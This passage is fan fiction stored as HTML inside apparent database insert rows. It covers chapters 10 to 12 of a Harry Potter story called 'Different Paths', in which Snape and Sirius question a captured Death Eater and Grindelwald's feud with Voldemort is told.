he\nmuttered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Aye,&#8221; said Moody.&nbsp; &#8220;We have no idea who in the Dark Lord&#8217;s gang\nhas the kind of power to do something like that, but we&#8217;re positive it&#8217;s a\nDeath Eater.&#8221;&nbsp; Moody sighed sadly.&nbsp; &#8220;All those Hit Wizards killed.&nbsp; It&#8217;s like I&#8217;m always saying, people don&#8217;t\nhave enough CONSTANT VIGILANCE!&#8221;&nbsp; Moody\nturned to Snape again.&nbsp; &#8220;On another\nnote, we&#8217;ve got a captured fugitive down in the holding cells demanding to see\nyou.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape raised an eyebrow.&nbsp; &#8220;A captured fugitive wants to see me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Actually, he wasn&#8217;t captured,&#8221;\nsaid Moody.&nbsp; &#8220;He turned himself in,\napparently so that he could meet you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well then, lets go see him,&#8221;\nsaid Snape.&nbsp; Minutes later, he was down\nin the holding cells.&nbsp; These were the\nsmall cells where captured criminals were sent to before trial and\nAzkaban.&nbsp; It was in the basement of the\nDepartment of Magical Law Enforcement and was rather dark and cramped though\ndefinitely far more comfortable than Azkaban.</p>\n\n<p>&nbsp;</p>\n\n<p>Finally, Snape stood in front of\nthe cell he was looking for and looked inside.&nbsp;\nInside the cell a man sat on the floor, his legs crossed in Indian and\nhis chin resting on his right hand.&nbsp; He\nappeared to be in full comfort in the cell as he smirked at Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, it&#8217;s you,&#8221; said Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, that&#8217;s right,&#8221; said the\nman, &#8220;Sirius Black has arrived in London.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N Ha!&nbsp; Chapter 10.&nbsp;\nI&#8217;m thinking that if I hadn&#8217;t gone as I had originally planned, chapter\n9 would&#8217;ve been the single longest chapter of the entire fic.&nbsp; But since I&#8217;ve divided the chapter, 9 and 10\nare very well on the shorter end of the chapters.&nbsp; But I&#8217;m still satisfied with the outcome.&nbsp; Next: Sirius and Snape interview a certain\nsomeone.&nbsp; And more on the Elite Ten.</p>\n\n<p>&nbsp;</p>\n\n<p>And Order of the Phoenix due to\nbe published on June 21st.&nbsp;\nHOORAY!</p>\n\n\n\n\n\n\n'),
	(33, 11, '\n\n\n\n<p><b>Title:</b> Different Paths (11)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, Studio Gallop, and other publishers. No money is being\nmade and no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> And now, here we have chapter 11.&nbsp; At present, I&#8217;m searching the internet for\nthe original television soundtrack for <i>Rurouni Kenshin</i> but I just gave\nup and decided to order the CD direct from Japan.&nbsp; If any of you have the Rurouni Kenshin CDs <i>Original TV\nSoundtracks 2 </i>or <i>Best Theme Collection</i>, keep them in mind.&nbsp; After I finish the fic, I just might very\nwell present a list of scenes where you can play the tracks of one of these two\nthemes for mood music.&nbsp; What do you think\nabout that?</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 11: Plans in motion</b></p>\n\n<p>&nbsp;</p>\n\n<p>For about a full minute, Snape\nstared at his old school enemy as Sirius stared back at him, a large smirk on\nhis face.&nbsp; Unfazed by Sirius&#8217;s comfort\nand confidence, Snape simply turned away saying, &#8220;Just send him to Azkaban.&nbsp; His old cell should still be ready for him\nthere.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wha...Snape!&#8221;&nbsp; Sirius sprang up to his feet and called out\nfor his old nemesis.&nbsp; &#8220;You&#8217;re not\nseriously going to leave me here to rot are you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape ignored him.&nbsp; Sirius started swearing under his\nbreath.&nbsp; Calmly, he spread out his\nhands, placed his fingers on the bars in front of him, and closed his\neyes.&nbsp; With a sudden surge of magic, the\nDouble-Neutral spell shot out of Sirius&#8217;s fingers into the bars, causing them\nto blast out of the way and crumble to dust.&nbsp;\nThat caught Snape&#8217;s attention.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm, I see you&#8217;ve picked up a\nfew tricks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You bet I have.&nbsp; There&#8217;s is no way I&#8217;m letting myself become\na hindrance to Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, you&#8217;re just letting\nyourself become the fly in my eye,&#8221; said Snape, his voice filling with disdain.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And proud to be doing so,&#8221; said\nSirius while taking a small bow, a malicious grin on his face.&nbsp; The guard wizards were so frightened by\nSirius&#8217;s display that they didn&#8217;t dare go near him.&nbsp; &#8220;If you want to know, the reason I let myself get caught was\nbecause I figured that Harry would eventually come visit the Department of\nMagical Law Enforcement some time or another; it&#8217;s a sure way to meet him.&nbsp; Plus I also wanted to rub this new spell of\nmine into that ugly face of yours.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Disdainful,&#8221; sneered\nSnape.&nbsp; Sirius smirked at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, what&#8217;s the first order of\nbusiness?&nbsp; Interrogate that Death Eater\nin the cell down the hall from here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Death Eater?&#8221; said Snape.&nbsp; He turned to one of the guard wizards and\nasked, &#8220;Was there a Death Eater brought down here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The guard perked at Snape&#8217;s\nquestion.&nbsp; &#8220;Um, yes sir.&nbsp; He was brought in the other day.&nbsp; The charges against him are kidnapping,\nassault, and attempted murder.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why wasn&#8217;t I told about him?&#8221;\nsnapped Snape.&nbsp; The terrified guard was\nabout to speak but Snape just shook his head and said, &#8220;Never mind, just take\nme to him.&#8221;&nbsp; Sirius cleared his throat\nand Snape grudgingly said, &#8220;OK, take <b>us</b> to him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The guard nodded and led Sirius\nand Snape down to a cell down the hall.&nbsp;\nSilently, he opened the door and let Snape and Sirius in.</p>\n\n<p>&nbsp;</p>\n\n<p>Lying on the cot in the cell was\na man with piercings, a Union Jack tattoo on his head, a bleached Mohawk, and\ndragon hide clothing.&nbsp; He was reading a\nmagazine in the dim light offered in the cell, his wrists manacled in front of\nhim.&nbsp; &#8220;Hey, mind if you could switch me\nto a different cell, mate?&nbsp; There isn&#8217;t\nenough light in this one.&#8221;&nbsp; He spoke\nwith a thick Australian accent.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, well, well, Chucky\nSullivan.&nbsp; I never thought there&#8217;d be a\ntime when I&#8217;d see you here,&#8221; said Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You know me?&#8221; asked Chucky\nwithout looking up from his magazine.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course I know you.&nbsp; Our cells were right next to each other for\ntwelve years at Azkaban,&#8221; said Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>Chucky finally looked up.&nbsp; &#8220;Well now, Sirius Black and Severus\nSnape!&nbsp; Two people whom I was under the\nimpression worked for our side.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, you should get caught up\non the times then,&#8221; said Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Probably for the better,&#8221; said\nChucky.&nbsp; &#8220;This way when I get sent back\nto Azkaban I won&#8217;t have to lose any nights of sleep to your constant screams of\n&#8216;I&#8217;m innocent!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius looked furious.&nbsp; &#8220;Oh yeah, well I suppose I should be glad\nthat I don&#8217;t have to listen to maniacal laughter of yours everyday,&#8221; he\nsnapped.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You want a piece of me?!&#8221;\nyelled Chucky springing to his feet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah sure, bring it on!&#8221; said\nSirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;d throttle you right now if\nit weren&#8217;t for these chains!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I can take care of\nthat.&#8221;&nbsp; Sirius grabbed the chain between\nthe manacles on Chucky&#8217;s wrists.&nbsp; With a\nsurge of the Double-Neutral spell, the chains shattered and blew away like\ndust, much to Chucky&#8217;s surprise.&nbsp;\n&#8220;There, now are we going to do this?&#8221; said Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>Before Sirius and Chucky could\ncome to blows, Snape cleared his throat.&nbsp;\n&#8220;As much as I&#8217;d enjoy watching you two decide who&#8217;s the bigger idiot, I\ndon&#8217;t have that much time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fine,&#8221; said Sirius.&nbsp; &#8220;He&#8217;s all yours.&#8221;&nbsp; Sirius backed up a little and Chucky sat down on the cot.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape stood in front of\nChucky.&nbsp; &#8220;Are you going to answer my\nquestions honestly or would I have to use veritaserum?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t bother with the truth\npotion,&#8221; said Chucky with a slight wave of his hand, &#8220;I&#8217;ll tell you\neverything.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; You&#8217;re giving away everything like that?&#8221; asked Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Humph, it&#8217;s not like I took an\noath of silence.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well then, lets hear it,&#8221; said\nSnape.&nbsp; &#8220;First of all you could tell me\nwhich one of the Death Eaters could&#8217;ve killed 50 Hit Wizards in a single\nnight.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, I heard about.&nbsp; Such a sob story I tell you,&#8221; said\nChucky.&nbsp; &#8220;Well, aside from the Dark Lord\nhimself only two of the Elite Ten have the power to do some thing like that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Two?&#8221; said Sirius.&nbsp; &#8220;You Death Eaters must be losing your\ntouch.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Killing 50 Hit Wizards isn&#8217;t\nnecessarily difficult,&#8221; said Chucky.&nbsp; &#8220;I\ncould kill 50 without much of a problem.&nbsp;\nIt&#8217;s the time frame of a single night that makes the difference.&#8221;&nbsp; Chucky looked at Snape once more.&nbsp; &#8220;Anyway, the first of your two potential\nsuspects would be Seth Soran.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah him,&#8221; said Snape.&nbsp; &#8220;I figured he might be one of the few\ncapable of doing this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But he&#8217;s probably not the one\nyou&#8217;re looking for,&#8221; said Chucky.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape raised an eyebrow.&nbsp; &#8220;What makes you say that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was able to get a copy of the\n<i>Daily Prophet</i> this morning,&#8221; said Chucky.&nbsp; &#8220;They gave a rather detailed description of the crime scene.&nbsp; It said that the corpses were mutilated,\nsome probably tortured to death.&nbsp; That&#8217;s\nnot Seth&#8217;s style.&nbsp; He prefers a quick\nkilling curse.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So,&#8221; said Snape, &#8220;If it&#8217;s not\nSoran, who is it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Chucky looked up into Snape&#8217;s\neyes and said, &#8220;It&#8217;s Grindelwald.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>At the Dark Lord&#8217;s secret lair,\nchaos was ensuing.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My Lord!&#8221; Horace Salacion burst\ninto the primary dining hall of the lair where Voldemort and Yasmin were having\ndinner.&nbsp; &#8220;My Lord, two Death Eaters have\njust been killed at their posts!&nbsp; There\nis an intruder in the lair!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Intruder?&#8221; said Voldemort\nstanding up.&nbsp; &#8220;Tell me Horace, what\ncondition are the corpses of the killed Death Eaters?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why, mutilated beyond\nrecognition...&#8221; Horace stopped as realization dawned on him.&nbsp; &#8220;My Lord, you don&#8217;t suppose...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You think correctly, Horace,&#8221;\nsaid Voldemort.&nbsp; &#8220;I don&#8217;t think it is an\nintruder who&#8217;s entered at all.&nbsp; In fact,\nhe&#8217;s hanging on the ceiling right above me right now getting ready to strike\neven as we speak.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A lot of things happened in the\nnext minute.&nbsp; A figure hurtled down from\nthe ceiling wielding his wand toward Voldemort.&nbsp; The Dark Lord spun around and whipped out his wand faster than\nany western lawman or outlaw could draw his gun.&nbsp; The next thing Horace and Yasmin noticed were Voldemort and the\nother man pointing their wands at each other both with smirks on their faces.</p>\n\n<p>&nbsp;</p>\n\n<p>The other man had a full head of\nblonde hair with streaks of white, was wearing elegant purple and scarlet\nrobes, and had a black blindfold wrapped around his face.&nbsp; If the blindfold wasn&#8217;t telling enough, the\nscar tissue peaking out from under the blindfold was enough to show that the\nman was completely blind.&nbsp; &#8220;You&#8217;re\nlosing your touch, Riddle,&#8221; he said.&nbsp;\n&#8220;You used to be able to draw a lot faster.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Really Grindelwald?&#8221; said\nVoldemort with a smirk.&nbsp; &#8220;I&#8217;m surprised\nyou were able to tell, not being able to see and all.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You mock me, Riddle,&#8221; said\nGrindelwald.&nbsp; &#8220;You stole my sight, and\none of these you&#8217;re going to pay for it!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The Dark Wizard Grindelwald was\nthe dominant dark wizard a generation before Voldemort.&nbsp; He had spent years terrorizing Europe during\nthe chaotic years of World War II before finally being brought down by at the\nthen Deputy Headmaster of Hogwarts School of Witchcraft and Wizardry, Albus\nDumbledore in 1945.&nbsp; What was not as\nwell known was that Dumbledore brought Grindelwald down with the help of\nHogwarts Head Boy Tom Marvolo Riddle.</p>\n\n<p>&nbsp;</p>\n\n<p><i>It was late March 1945 and\nprevious to that date, the Dark Wizard Grindelwald had been terrorizing Magical\nEurope while Muggle Europe was immersed in the chaos of World War II.&nbsp; At the height of his power Grindelwald had\ngathered all of his dark forces and initiated an invasion of Hogwarts School of\nWitcraft and Wizardry, as always the symbol of hope and freedom in the magical\nworld.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>As it turned out however the\nattack against Hogwarts had been tipped off by a spy and Grindelwald&#8217;s forces\nwere devastated by a troop of aurors and hit wizards aided by the students and\nstaff of the school.&nbsp; Grindelwald\nhimself was brought down by the then Transfiguration Professor Albus\nDumbledore, long said to be the most powerful of wizards on the side of good.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;C-curses!&#8221; Grindelwald\nmuttered.&nbsp; He looked up, a man defeated\nat the one whom had just triumphed over him.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Albus Dumbledore glared down\nat his fallen enemy, his long auburn hair and beard swaying in the night wind\nand his blue eyes radiating with power that made the bravest dark wizards cower\nin fear.&nbsp; &#8220;And so it ends,&#8221; he\nsaid.&nbsp; &#8220;Your reign of terror is over\nGindelwald.&nbsp; You shall never reclaim the\nformer power you had.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Grindelwald glared at\nDumbledore, his red eyes blazing with hatred.&nbsp;\nHe tried to pull himself to his feet but collapsed back on the ground\nmoaning in pain.&nbsp; &#8220;D-defeated I may be,&#8221;\nhe wheezed, &#8220;but...I will return.&nbsp; I&#8217;ll\ngrow m-more powerful than before...and I will rule this continent!&#8221;&nbsp; With his last once of strength, Grindelwald\nsummoned a piece of ragged cloth.&nbsp; It\nturned out to be a portkey and the dark wizard disappeared.&nbsp; Dumbledore sighed his relief and sauntered\noff to the school matron to have his broken nose treated.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>As Dumbledore made his way\ntoward the castle one of the students ran toward him looking panicked.&nbsp; She was clearly a seventh year, was wearing\nthe Slytherin House crest and the Head Girl badge, and had long wavy dark brown\nhair.&nbsp; &#8220;Professor!&#8221; she cried, her amber\neyes filled with tears.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Dumbledore looked up at the\nHead Girl, his face troubled.&nbsp; &#8220;Miss\nCorrellan?&nbsp; What is the matter?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Professor,&#8221; Yasmin gasped,\nwhile clutching a cramp in her side, &#8220;Professor, it&#8217;s Tom.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;What about Mr. Riddle?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;He&#8217;s gone,&#8221; wailed Yasmin.&nbsp; &#8220;I can&#8217;t find him anywhere.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Grindelwald crawled through\nthe grass deep within the Forbidden Forest.&nbsp;\nThe portkey had apparently been damaged in the conflict and had only\nmanaged to transport Grindelwald deep into the Forbidden Forest.&nbsp; The dark wizard moaned in pain as he\nstruggled to gather enough strength to apparate.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;How the mighty have fallen,&#8221;\nsaid a voice from nearby.&nbsp; Surprised,\nGrindelwald looked up to see a seventh year Hogwarts student with longish black\nhair, the Slytherin House Crest, and the Head Boy badge.&nbsp; If Grindelwald had been in his right mind at\nthe time, he would&#8217;ve wondered what a Hogwarts student was doing deep within\nthe forbidden forest.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;C-come to gloat have you?&#8221;\nhissed Grindelwald.&nbsp; &#8220;Come to see how\nthe mighty have fallen?&nbsp; Well not for\nlong!&nbsp; Tell your p-precious Professor\nDumbledore that I will return, more powerful then previously!&nbsp; My rise to absolute power will not be\nruined!&#8221;&nbsp; He tried to pull himself up to\nhis feet.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Tom Riddle approached\nGrindelwald twirling his wand around.&nbsp;\n&#8220;Yes, I&#8217;m sure you will,&#8221; he said.&nbsp;\n&#8220;You&#8217;re not completely dead yet and I&#8217;m sure that in time you&#8217;ll regain\nenough strength to cause a little chaos in Europe once again.&#8221;&nbsp; Riddle crouched in front of Grindelwald and\nsaid, &#8220;But I&#8217;m not willing to let any potential rivals ruin my own rise to\npower.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Before Grindelwald could\ncomprehend what was happening, Riddle pointed his wand at Grindelwald&#8217;s face\nand said, </i>&#8220;Occulus\nCaeco.&#8221;<i>&nbsp; A burning blast of red light\nerupted from Riddle&#8217;s wand into Grindelwald&#8217;s face.&nbsp; Grindelwald screamed in pain as his eyes were burned.</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Since that day, not a single\nday has gone by where I haven&#8217;t despised you, loathed you, blamed you for\npreventing my return to power, for stealing my eyesight!&#8221; hissed Grindelwald.</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed.&nbsp; &#8220;Well now, like I said, I wasn&#8217;t willing to\nlet any potential rivals ruin my own rise to power,&#8221; he said.&nbsp; &#8220;In fact, I have no regrets since I&#8217;ve been\nable to secure you as an ally.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;On the single condition,&#8221;\nhissed Grindelwald, &#8220;that I be allowed to attempt to kill you any time I wish.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course,&#8221; said Voldemort, his\nmouth curving into a delighted smile, &#8220;You&#8217;re one of my two conditional Elite\nTen.&nbsp; I get a good ally in my own rise\nto power while you get a free shot at me whenever you like.&#8221;&nbsp; Voldemort lowered his wand though\nGrindelwald continued to point his wand at Voldemort.&nbsp; &#8220;By the way, I just heard about those fifty Hit Wizards from last\nnight.&nbsp; A rather impressive feat might I\nsay.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was nothing,&#8221; said\nGrindelwald.&nbsp; &#8220;The killing of fifty Hit\nWizards was pleasurable, but not satisfying enough.&nbsp; Only seeing you dying at my feet as I spit on your face will\nsatisfy me enough.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed.&nbsp; &#8220;All in good time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, so is there anything else\nyou want to know mate?&#8221; asked Chucky, once again reclining on his cot.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why assassinate Fudge?&#8221; asked\nSnape.&nbsp; &#8220;I know the Dark Lord&#8217;s style,\nhe would only do something like that as a prelude to something bigger.&nbsp; Something more sinister.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You do know the Dark Lord well\ndon&#8217;t you?&#8221; said Chucky.&nbsp; &#8220;You&#8217;re right,\nFudge&#8217;s assassination was a calling card to the world.&nbsp; It was a sign to Death Eaters all over\nEurope that the Dark Lord will be moving into the final phase of his plan while\nat the same time throwing the ministry into chaos.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Plan?&#8221; exclaimed Sirius.&nbsp; &#8220;What plan?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The last plan,&#8221; said Chucky,\nhis voice taken on a hint of awe.&nbsp; &#8220;The\nfinal plan that will place us in power, and make the Dark Lord master of all\nEurope.&nbsp; And eventually, the world.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius stepped past Snape,\ngrabbed Chucky by the collar of his shirt and hoisted him up.&nbsp; &#8220;And what is this plan?&#8221; he hissed.&nbsp; &#8220;Tell me!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Chucky chuckled.&nbsp; &#8220;I&#8217;m going to going Azkaban soon meaning I\nwon&#8217;t be able to take place in the execution of the plan.&nbsp; That&#8217;s what I&#8217;ve been looking forward to not\nwhat comes afterward.&nbsp; If I don&#8217;t get to\nparticipate no one will,&#8221; said Chucky.&nbsp;\n&#8220;On the night before the full moon, a whole legion of Death Eaters and\nDementors led by the Elite Ten will storm into the city, and London will\nburn.&nbsp; Before dawn, all that will be\nleft of Diagon Alley and the Ministry of Magic will be a pile of ash.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Stricken, Sirius released\nChucky.&nbsp; He glanced over at Snape who\nseemed to be contemplating something.&nbsp;\nWordlessly, the two men left the cell and started making their way down\nthe hallway.&nbsp; Chucky simply shrugged and\nwent back to his magazine saying, &#8220;And no one thanks me for the\ninformation.&nbsp; Well you&#8217;re welcome.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius was rather agitated as he\ntore down the hallway.&nbsp; Snape raised an\neyebrow and said, &#8220;Well?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We have to stop them,&#8221; said\nSirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s rather obvious we will\nhave to stop them,&#8221; said Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, that&#8217;s what we&#8217;ll do,&#8221; said\nSirius.&nbsp; &#8220;What&#8217;s the plan?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There is none at the\nmoment.&nbsp; But one thing is for certain, I\nswear on everything I&#8217;ve ever fought for the burning of London will be\nstopped,&#8221; whispered Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I swear on the lives of\neverybody killed in this war that London will not burn!&#8221; yelled Sirius.&nbsp; Interestingly enough, neither man noticed\nthat this was the first time in their lives that they had ever agreed on\nsomething.</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N How many people here are\noverjoyed that Order of the Phoenix finally has a release date, June 21st?&nbsp; I mean hey, most of us have been waiting for\nsome time these past three years, what&#8217;s another five months.&nbsp; Oh, and if anybody is wondering why Chucky\ntalked so easily, there is a reason that will be revealed later.&nbsp; Next: Harry is learning the Dark Magic\nCleanser.</p>\n\n\n\n\n\n\n'),
	(33, 12, '\n\n\n\n<p><b>Title:</b> Different Paths (12)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, Studio Gallop, and other publishers. No money is being\nmade and no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> Can anybody wait till June 21st?&nbsp; On the one hand, we could very well say five\nmonths is a long wait but on the other hand, we can say we&#8217;ve waited three\nyears, what&#8217;s another five months?&nbsp;\nWhichever way, the release of Order of the Phoenix gives me a decent\ndeadline to complete this fic.&nbsp; Hmm, five\nmonths, that should be long enough to finish.</p>\n\n<p>&nbsp;</p>\n\n<p>Dedicated to the 7 astronauts\nwho lost their lives on the shuttlecraft Columbia.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 12: The Stellar\nPatronus</b></p>\n\n<p>&nbsp;</p>\n\n<p>Back at Dover Harry&#8217;s pride was\nbeing crushed.&nbsp; Throughout most of his seventh\nyear, Harry had been praised about just how powerful he had become, that his\npowers rivaled Dumbledore&#8217;s.&nbsp; Though he\nhad never let it get to his head, after being told so many times that his\npowers rivaled Dumbledore&#8217;s he had come to actually believe it.&nbsp; Now, he was being proven wrong.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry fell onto his knees\npanting heavily.&nbsp; Dumbledore looked out\nover the cliffs, perhaps looking toward the northern shore of France.&nbsp; &#8220;Come now Harry, surely you can land at\nleast one spell on me,&#8221; he said, not in a mocking way, but rather in a tone\nstating the obvious.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gritted his teeth and\npulled himself up into a standing position.&nbsp;\nHe had already been sparring with Dumbledore for hours but hadn&#8217;t been\nable to land a single spell on his mentor as of yet while he was already rather\nbeaten up.&nbsp; &#8220;Remind me why I&#8217;m doing\nthis again?&#8221; he muttered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I have already explained,&#8221; said\nDumbledore still looking over the cliffs.&nbsp;\n&#8220;You may have proven yourself worthy enough to learn the Dark Magic\nCleanser but you&#8217;ve yet to prove that you are strong enough to bear it.&nbsp; Therefore, I&#8217;ll only teach you the spell if\nyou successfully land a spell on me before noon tomorrow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Noon tomorrow,&#8221; Harry\nmuttered.&nbsp; He took a deep breath and\nonce again tried to fire his spells at Dumbledore.&nbsp; Dumbledore 